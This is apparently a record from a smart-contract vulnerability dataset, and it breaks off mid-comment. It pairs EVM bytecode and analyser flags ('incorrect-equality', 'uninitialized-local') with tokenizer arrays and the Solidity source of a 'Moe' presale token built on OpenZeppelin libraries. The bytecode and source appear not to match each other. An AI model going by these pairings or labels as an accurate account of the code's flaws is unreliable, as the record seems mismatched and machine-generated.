0x608060405234801561001057600080fd5b50600436106100625760003560e01c806316114acd146100675780631937efa8146100ab5780634e71e0c8146101235780638da5cb5b1461012d5780639c151a0914610161578063f2fde38b146101d9575b600080fd5b6100a96004803603602081101561007d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061021d565b005b61010d600480360360408110156100c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103bf565b6040518082815260200191505060405180910390f35b61012b61052d565b005b610135610685565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c36004803603604081101561017757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106a9565b6040518082815260200191505060405180910390f35b61021b600480360360208110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d34565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6102e781610e39565b6102f057600080fd5b6103bc338273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561035b57600080fd5b505afa15801561036f573d6000803e3d6000fd5b505050506040513d602081101561038557600080fd5b81019080805190602001909291905050508373ffffffffffffffffffffffffffffffffffffffff16610e729092919063ffffffff16565b50565b6000806103cc84846106a9565b90506000610463828573ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561041a57600080fd5b505afa15801561042e573d6000803e3d6000fd5b505050506040513d602081101561044457600080fd5b8101908080519060200190929190505050610f1490919063ffffffff16565b905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156104ce57600080fd5b505afa1580156104e2573d6000803e3d6000fd5b505050506040513d60208110156104f857600080fd5b8101908080519060200190929190505050905080821061051e5760009350505050610527565b81810393505050505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058757600080fd5b6000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106f77f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f7f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec85610f5e565b905060006107467f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f7f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec87610f5e565b905060007f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b057600080fd5b505afa1580156107c4573d6000803e3d6000fd5b505050506040513d60208110156107da57600080fd5b8101908080519060200190929190505050905060006109847f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec73ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561087957600080fd5b505afa15801561088d573d6000803e3d6000fd5b505050506040513d60208110156108a357600080fd5b81019080805190602001909291905050507f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec73ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561093b57600080fd5b505afa15801561094f573d6000803e3d6000fd5b505050506040513d602081101561096557600080fd5b810190808051906020019092919050505061107790919063ffffffff16565b90506000610add8873ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109f257600080fd5b505afa158015610a06573d6000803e3d6000fd5b505050506040513d6020811015610a1c57600080fd5b81019080805190602001909291905050508873ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9457600080fd5b505afa158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b810190808051906020019092919050505061107790919063ffffffff16565b90506000610bcf83610bc1670de0b6b3a76400007f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec73ffffffffffffffffffffffffffffffffffffffff166370a082318b6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d6020811015610ba257600080fd5b81019080805190602001909291905050506110ff90919063ffffffff16565b61118590919063ffffffff16565b90506000610ca183610c93670de0b6b3a76400008c73ffffffffffffffffffffffffffffffffffffffff166370a082318c6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c4a57600080fd5b505afa158015610c5e573d6000803e3d6000fd5b505050506040513d6020811015610c7457600080fd5b81019080805190602001909291905050506110ff90919063ffffffff16565b61118590919063ffffffff16565b90506000610ccb6002610cbd848661107790919063ffffffff16565b61118590919063ffffffff16565b90506000670de0b6b3a764000090506000610ce98c8b858b8b6111cf565b90506000610d0c8e8b610d058787610f1490919063ffffffff16565b8c8c6111cf565b9050610d21818361107790919063ffffffff16565b9b50505050505050505050505092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610df5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b610f0f8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611433565b505050565b6000610f5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611522565b905092915050565b6000806000610f6d85856115e2565b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b6000808284019050838110156110f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611112576000905061117f565b600082840290508284828161112357fe5b041461117a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f036021913960400191505060405180910390fd5b809150505b92915050565b60006111c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611759565b905092915050565b600080611211670de0b6b3a7640000611203876111f58789610f1490919063ffffffff16565b6110ff90919063ffffffff16565b61118590919063ffffffff16565b9050600080821115611362576000600267ffffffffffffffff8111801561123757600080fd5b506040519080825280602002602001820160405280156112665781602001602082028036833780820191505090505b5090507f0000000000000000000000009af15d7b8776fa296019979e70a5be53c714a7ec8160008151811061129757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505088816001815181106112df57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060006113467f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f858461181f565b90508060018151811061135557fe5b6020026020010151925050505b60008873ffffffffffffffffffffffffffffffffffffffff166370a08231896040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113cb57600080fd5b505afa1580156113df573d6000803e3d6000fd5b505050506040513d60208110156113f557600080fd5b8101908080519060200190929190505050905081811161141b576000935050505061142a565b60008282039050809450505050505b95945050505050565b6000611495826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166119979092919063ffffffff16565b905060008151111561151d578080602001905160208110156114b657600080fd5b810190808051906020019092919050505061151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611f24602a913960400191505060405180910390fd5b5b505050565b60008383111582906115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611594578082015181840152602081019050611579565b50505050905090810190601f1680156115c15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561166a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e906025913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16106116a45782846116a7565b83835b8092508193505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a205a45524f5f41444452455353000081525060200191505060405180910390fd5b9250929050565b60008083118290611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117ca5780820151818401526020810190506117af565b50505050905090810190601f1680156117f75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161181157fe5b049050809150509392505050565b6060600282511015611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a20494e56414c49445f50415448000081525060200191505060405180910390fd5b815167ffffffffffffffff811180156118b157600080fd5b506040519080825280602002602001820160405280156118e05781602001602082028036833780820191505090505b50905082816000815181106118f157fe5b60200260200101818152505060005b600183510381101561198f576000806119438786858151811061191f57fe5b602002602001015187600187018151811061193657fe5b60200260200101516119af565b9150915061196584848151811061195657fe5b60200260200101518383611ad8565b84600185018151811061197457fe5b60200260200101818152505050508080600101915050611900565b509392505050565b60606119a68484600085611c08565b90509392505050565b60008060006119be85856115e2565b5090506000806119cf888888610f5e565b73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611a1457600080fd5b505afa158015611a28573d6000803e3d6000fd5b505050506040513d6060811015611a3e57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614611ac2578082611ac5565b81815b8095508196505050505050935093915050565b6000808411611b32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611f4e602b913960400191505060405180910390fd5b600083118015611b425750600082115b611b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611edb6028913960400191505060405180910390fd5b6000611bae6103e5866110ff90919063ffffffff16565b90506000611bc584836110ff90919063ffffffff16565b90506000611bf083611be26103e8896110ff90919063ffffffff16565b61107790919063ffffffff16565b9050808281611bfb57fe5b0493505050509392505050565b606082471015611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611eb56026913960400191505060405180910390fd5b611c6c85611db0565b611cde576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611d2d5780518252602082019150602081019050602083039250611d0a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611d8f576040519150601f19603f3d011682016040523d82523d6000602084013e611d94565b606091505b5091509150611da4828286611dc3565b92505050949350505050565b600080823b905060008111915050919050565b60608315611dd357829050611e88565b600083511115611de65782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e4d578082015181840152602081019050611e32565b50505050905090810190601f168015611e7a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a26469706673582212205911666991181349db88dd29bb2fae20169fd47935b3ac15f1f32f54890518d164736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 27717, 2497, 17914, 2509, 7875, 2581, 8586, 2692, 22932, 2050, 2692, 19797, 19961, 16932, 16068, 2629, 2497, 2094, 2575, 11387, 2063, 24096, 2497, 22022, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 1046, 1011, 1046, 1011, 1046, 1011, 15419, 3654, 999, 999, 999, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1018, 1025, 1013, 1008, 7117, 23615, 1024, 1037, 2723, 10250, 19879, 4263, 1006, 2000, 2224, 2007, 9413, 2278, 21486, 22394, 2581, 1007, 2005, 23408, 2078, 4895, 2483, 4213, 2361, 7689, 21312, 2531, 1003, 1997, 7801, 5029, 2024, 6153, 2012, 2035, 2335, 10250, 19879, 4263, 2007, 4469, 2838, 1011, 14148, 2723, 2011, 4855, 2070, 1997, 1996, 2561, 2046, 2367, 12679, 2241, 2006, 2783, 6381, 3012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,719
0x973A1df0C7286d1688E055c3Ce46F1691DE162Be
pragma solidity 0.7.1; import './Stooge.sol'; contract Moe is Stooge { using SafeMath for uint256; event Participation(address indexed participant, uint256 ethAmount, uint256 moeAmount); event Dropkicked(address indexed victim, uint256 larryAmount, uint256 moeBalance); uint256 public moePerEth; address public larryPair; address[] public participants; function setLarry(address payable addr) external onlyOwner { require(address(larry) == address(0), 'only once'); larry = ILarry(addr); larry.mint(address(this), (1e24) + 3); larry.approve(address(uniswapRouter), 1e24); } constructor(uint256 moePerEth_, uint256 startTime_, uint256 duration_) Stooge('MOE', 'MOE') { moePerEth = moePerEth_; startTime = startTime_; endTime = startTime + duration_; _mint(msg.sender, 800000*(1 ether)); } receive() external payable nonReentrant { require(startTime <= block.timestamp, "It aint started yet"); require(endTime >= block.timestamp, "It aint on anymore."); _mint(msg.sender, msg.value.mul(moePerEth)); participants.push(msg.sender); emit Participation(msg.sender, msg.value, msg.value.mul(moePerEth)); } //We will have to keep slapping until everyone is dumped on. function slap() external override nonReentrant { require(endTime < block.timestamp, "It aint on yet."); require(slapped == false, "Already done."); slapped = true; if(address(this).balance > 0) { treasury.transfer(address(this).balance.div(10).mul(3)); uniswapRouter.addLiquidityETH{value:address(this).balance}( address(larry), (1e24) / 5 * 4, 0, 0, address(larry), block.timestamp ); _mint(address(this), totalSupply()); } } function bonk() external nonReentrant { require(endTime < block.timestamp, "It aint on yet."); require(bonked == false, "Already done."); require(slapped == true, "Not yet"); bonked = true; uint256 liquify = (1e24) / 10; _approve(address(this), address(uniswapRouter), totalSupply()); uniswapRouter.addLiquidity( address(this), address(larry), totalSupply().div(2), liquify, 0, 0, address(this), block.timestamp ); } function dropkick(uint64 recipients) external nonReentrant { require(slapped == true, "Not yet"); require(bonked == true, "Not yet"); require(endTime < block.timestamp, "It aint on yet."); uint256 drop = (1e24) / 10; if(participants.length > 0) { uint64 count; uint256 supply = totalSupply().div(2); for(uint256 i = participants.length; i > 0 ; i--) { address participant = participants[i-1]; uint256 balance = balanceOf(participant); uint256 amount = drop.mul(balance).div(supply); participants.pop(); larry.mint(participant, amount); emit Dropkicked(participant, amount, balance); count++; if(count >= recipients) break; } } } } pragma solidity 0.7.1; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol'; import './interfaces/ICurly.sol'; import './interfaces/ILarry.sol'; import './interfaces/IStooge.sol'; import './Stooge.sol'; contract Stooge is ERC20, Ownable, ReentrancyGuard, IStooge { uint256 public startTime; uint256 public endTime; bool slapped; bool bonked; bool dropkicked; ILarry larry; ICurly curly; address moe; address payable public treasury; address weth; IUniswapV2Router02 uniswapRouter; IUniswapV2Factory uniswapFactory; constructor(string memory name_, string memory symbol_) ERC20(name_,symbol_){ treasury = msg.sender; uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); weth = uniswapRouter.WETH(); } function slap() external override virtual { } function mint(address account, uint256 amount) external { require(msg.sender == moe || msg.sender == address(larry) || msg.sender == address(curly), 'Only Stooges!'); _mint(account, amount); } } pragma solidity 0.7.1; interface ICurly { function approve(address spender, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; } pragma solidity 0.7.1; interface ILarry { function approve(address spender, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; } pragma solidity 0.7.1; interface IStooge { function slap() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} 